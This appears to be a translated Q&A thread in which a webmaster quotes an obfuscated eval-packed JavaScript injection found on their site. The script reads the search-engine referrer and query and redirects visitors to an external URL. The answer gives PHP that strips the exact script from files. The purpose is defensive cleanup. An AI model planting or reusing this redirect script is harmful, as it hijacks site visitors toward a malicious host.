0

我的网站已被标记为报告的攻击页面!在火狐中。

这是有问题的可疑代码:

<script language="JavaScript">eval(function(p,a,c,k,e,r){e=f
unction(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin
g.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Str
ing)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e
]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.re
place(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('e r=
x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3
("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g"
;4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.
3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c
"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6)
.o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referr
er|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|s
ubstring|split||||||ea|ht|tp|document|||go|window|location'.
split('|'),0,{}))</script>

我想编写一些 PHP 代码来遍历站点路径中的文件夹并获取每个文件夹中的文件。对于每个文件,我将打开它并使用正则表达式检查它是否包含上述代码。

这是个好主意,还是我应该在这里做什么?

4

1 回答 1

1

你只需要做一些字符串替换,因为你确切地知道你在找什么。像这样的东西应该可以工作(您可能需要glob根据调用此脚本的位置调整调用。

<?php

$js = 'INSERT THE CODE FROM YOUR POST HERE';
foreach( glob("*") as $filename) {
    $contents = file_get_contents( $filename);
    $contents = str_replace( $js, '', $contents); // Replace the code with nothing
    file_put_contents( $filename, $contents);
}
于 2012-04-26T17:31:30.570 回答